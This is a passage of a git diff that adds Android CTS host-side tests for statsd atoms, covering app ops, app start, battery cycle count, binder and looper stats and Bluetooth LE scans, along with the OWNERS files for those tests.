+    public void testWakeupAlarm() throws Exception {
+        // For automotive, all wakeup alarm becomes normal alarm. So this
+        // test does not work.
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        final int atomTag = AtomsProto.Atom.WAKEUP_ALARM_OCCURRED_FIELD_NUMBER;
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWakeupAlarm");
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isAtLeast(1);
+        for (int i = 0; i < data.size(); i++) {
+            AtomsProto.WakeupAlarmOccurred wao = data.get(i).getAtom().getWakeupAlarmOccurred();
+            assertThat(wao.getTag()).isEqualTo("*walarm*:android.cts.statsdatom.testWakeupAlarm");
+            assertThat(wao.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
new file mode 100644
index 0000000..2e5d628
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.appops;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.protobuf.Descriptors;
+
+import java.util.ArrayList;
+
+public class AppOpsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final int NUM_APP_OPS = AtomsProto.AttributedAppOps.getDefaultInstance().getOp().
+            getDescriptorForType().getValues().size() - 1;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testAppOps() throws Exception {
+        // Set up what to collect
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.APP_OPS_FIELD_NUMBER);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testAppOps");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Pull a report
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        ArrayList<Integer> expectedOps = new ArrayList<>();
+        for (int i = 0; i < NUM_APP_OPS; i++) {
+            expectedOps.add(i);
+        }
+
+        for (Descriptors.EnumValueDescriptor valueDescriptor :
+                AtomsProto.AttributedAppOps.getDefaultInstance().getOp().getDescriptorForType()
+                        .getValues()) {
+            if (valueDescriptor.getOptions().hasDeprecated()) {
+                // Deprecated app op, remove from list of expected ones.
+                expectedOps.remove(expectedOps.indexOf(valueDescriptor.getNumber()));
+            }
+        }
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+
+            AtomsProto.AppOps appOps = atom.getAppOps();
+            if (appOps.getPackageName().equals(DeviceUtils.STATSD_ATOM_TEST_PKG)) {
+                if (appOps.getOpId().getNumber() == -1) {
+                    continue;
+                }
+                long totalNoted = appOps.getTrustedForegroundGrantedCount()
+                        + appOps.getTrustedBackgroundGrantedCount()
+                        + appOps.getTrustedForegroundRejectedCount()
+                        + appOps.getTrustedBackgroundRejectedCount();
+                assertWithMessage("Operation in APP_OPS_ENUM_MAP: " + appOps.getOpId().getNumber())
+                        .that(totalNoted - 1).isEqualTo(appOps.getOpId().getNumber());
+                assertWithMessage("Unexpected Op reported").that(expectedOps).contains(
+                        appOps.getOpId().getNumber());
+                expectedOps.remove(expectedOps.indexOf(appOps.getOpId().getNumber()));
+            }
+        }
+        assertWithMessage("Logging app op ids are missing in report.").that(expectedOps).isEmpty();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/OWNERS
new file mode 100644
index 0000000..0aad9d8
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/OWNERS
@@ -0,0 +1,5 @@
+# Owners of the appops atom
+zholnin@google.com
+cmartella@google.com
+shiwangishah@google.com
+moltmann@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
new file mode 100644
index 0000000..d0915e6
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.appstart;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class AppStartStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testAppStartOccurred() throws Exception {
+        final int atomTag = AtomsProto.Atom.APP_START_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.sleep_top", 3_500);
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        AtomsProto.AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
+        assertThat(atom.getPkgName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertThat(atom.getActivityName())
+                .isEqualTo("com.android.server.cts.device.statsdatom.StatsdCtsForegroundActivity");
+        assertThat(atom.getIsInstantApp()).isFalse();
+        assertThat(atom.getActivityStartMillis()).isGreaterThan(0L);
+        assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/OWNERS
new file mode 100644
index 0000000..fbc135f
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/OWNERS
@@ -0,0 +1,3 @@
+# Owners of the AppStartOccurred atom
+jjaggi@google.com
+riddlehsu@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/BatteryCycleStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/BatteryCycleStatsTests.java
new file mode 100644
index 0000000..f74103c
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/BatteryCycleStatsTests.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.batterycycle;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class BatteryCycleStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    private static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    // This test is for the pulled battery charge count atom.
+    public void testBatteryCycleCount() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.BATTERY_CYCLE_COUNT_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getBatteryCycleCount().hasCycleCount()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getBatteryCycleCount().getCycleCount()).isAtLeast(0);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/OWNERS
new file mode 100644
index 0000000..2267748
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/batterycycle/OWNERS
@@ -0,0 +1,3 @@
+# Owners of the battery cycle atom.
+achant@google.com
+apelosi@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/BinderStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/BinderStatsTests.java
new file mode 100644
index 0000000..b846743
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/BinderStatsTests.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.binderstats;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.BinderCalls;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.collect.Range;
+
+import java.util.List;
+
+public final class BinderStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testBinderStats() throws Exception {
+        try {
+            DeviceUtils.unplugDevice(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            enableBinderStats();
+            binderStatsNoSampling();
+            resetBinderStats();
+
+            StatsdConfig.Builder config =
+                    ConfigUtils.createConfigBuilder(DeviceUtils.STATSD_ATOM_TEST_PKG);
+            ConfigUtils.addGaugeMetricForUidAtom(config, Atom.BINDER_CALLS_FIELD_NUMBER,
+                    /*uidInAttributionChain=*/false, DeviceUtils.STATSD_ATOM_TEST_PKG);
+            ConfigUtils.uploadConfig(getDevice(), config);
+
+            DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    "StatsdCtsForegroundActivity", "action", "action.show_notification", 3_000);
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            boolean found = false;
+            int appUid = DeviceUtils.getAppUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG);
+            for (Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+                BinderCalls calls = atom.getBinderCalls();
+                assertThat(calls.getUid()).isEqualTo(appUid);
+                boolean classMatches = calls.getServiceClassName().contains(
+                        "com.android.server.notification.NotificationManagerService");
+                boolean methodMatches = calls.getServiceMethodName()
+                        .equals("createNotificationChannels");
+                if (classMatches && methodMatches) {
+                    found = true;
+                    assertThat(calls.getRecordedCallCount()).isGreaterThan(0L);
+                    assertThat(calls.getCallCount()).isGreaterThan(0L);
+                    assertThat(calls.getRecordedTotalLatencyMicros())
+                        .isIn(Range.open(0L, 1000000L));
+                    assertThat(calls.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
+                }
+            }
+
+            assertWithMessage(String.format("Did not find a matching atom for uid %d", appUid))
+                .that(found).isTrue();
+          } finally {
+            disableBinderStats();
+            plugInAc();
+          }
+    }
+
+    private void enableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
+    }
+
+    private void resetBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
+    }
+
+    private void disableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
+    }
+
+    private void binderStatsNoSampling() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
+    }
+
+    private void plugInAc() throws Exception {
+        getDevice().executeShellCommand("cmd battery set ac 1");
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/LooperStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/LooperStatsTests.java
new file mode 100644
index 0000000..23967d4
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/LooperStatsTests.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.binderstats;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.collect.Range;
+
+import java.util.List;
+
+public class LooperStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testLooperStats() throws Exception {
+        try {
+            DeviceUtils.unplugDevice(getDevice());
+            setUpLooperStats();
+
+            ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    AtomsProto.Atom.LOOPER_STATS_FIELD_NUMBER);
+
+            DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    "StatsdCtsForegroundActivity", "action", "action.show_notification", 3_000);
+
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            List<AtomsProto.Atom> atomList = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+            boolean found = false;
+            int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+            for (AtomsProto.Atom atom : atomList) {
+                AtomsProto.LooperStats stats = atom.getLooperStats();
+                String notificationServiceFullName =
+                        "com.android.server.notification.NotificationManagerService";
+                boolean handlerMatches =
+                        stats.getHandlerClassName().equals(
+                                notificationServiceFullName + "$WorkerHandler");
+                boolean messageMatches =
+                        stats.getMessageName().equals(
+                                notificationServiceFullName + "$EnqueueNotificationRunnable");
+                if (atom.getLooperStats().getUid() == uid && handlerMatches && messageMatches) {
+                    found = true;
+                    assertThat(stats.getMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedTotalLatencyMicros())
+                            .isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedMaxLatencyMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedMaxCpuMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedDelayMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedTotalDelayMillis())
+                            .isIn(Range.closedOpen(0L, 5000L));
+                    assertThat(stats.getRecordedMaxDelayMillis()).isIn(Range.closedOpen(0L, 5000L));
+                }
+            }
+            assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+                    .that(found).isTrue();
+        } finally {
+            cleanUpLooperStats();
+            DeviceUtils.plugInAc(getDevice());
+        }
+    }
+
+    private void setUpLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats enable");
+        getDevice().executeShellCommand("cmd looper_stats sampling_interval 1");
+        getDevice().executeShellCommand("cmd looper_stats reset");
+    }
+
+    private void cleanUpLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats disable");
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/OWNERS
new file mode 100644
index 0000000..636e96e
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/OWNERS
@@ -0,0 +1,6 @@
+# These atom tests are owned by the Radiosonde team.
+dinoderek@google.com
+gaillard@google.com
+ilkos@google.com
+marcinoc@google.com
+rslawik@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/BluetoothStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/BluetoothStatsTests.java
new file mode 100644
index 0000000..ca75fc3
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/BluetoothStatsTests.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.bluetooth;
+
+import static android.cts.statsdatom.statsd.AtomTestCase.FEATURE_BLUETOOTH_LE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class BluetoothStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testBleScan() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_BLUETOOTH_LE)) return;
+
+        final int atomTag = AtomsProto.Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> onState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.OFF_VALUE));
+        final int expectedWait = 3_000;
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useAttributionChain=*/ true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBleScanUnoptimized");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertStatesOccurred(stateSet, data, expectedWait,
+                atom -> atom.getBleScanStateChanged().getState().getNumber());
+    }
+
+    public void testBleUnoptimizedScan() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_BLUETOOTH_LE)) return;
+
+        final int atomTag = AtomsProto.Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> onState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.OFF_VALUE));
+        final int minTimeDiffMillis = 1_500;
+        final int maxTimeDiffMillis = 3_000;
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useAttributionChain=*/ true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBleScanUnoptimized");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMillis,
+                maxTimeDiffMillis);
+        AtomsProto.BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
+        assertThat(a0.getState().getNumber()).isEqualTo(
+                AtomsProto.BleScanStateChanged.State.ON_VALUE);
+        assertThat(a0.getIsFiltered()).isFalse();
+        assertThat(a0.getIsFirstMatch()).isFalse();
+        assertThat(a0.getIsOpportunistic()).isFalse();
+        AtomsProto.BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
+        assertThat(a1.getState().getNumber()).isEqualTo(
+                AtomsProto.BleScanStateChanged.State.OFF_VALUE);
+        assertThat(a1.getIsFiltered()).isFalse();
+        assertThat(a1.getIsFirstMatch()).isFalse();
+        assertThat(a1.getIsOpportunistic()).isFalse();
+    }
+
+    public void testBleOpportunisticScan() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_BLUETOOTH_LE)) return;
+
+        final int atomTag = AtomsProto.Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> onState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.OFF_VALUE));
+        final int minTimeDiffMillis = 1_500;
+        final int maxTimeDiffMillis = 3_000;
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useAttributionChain=*/ true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests",
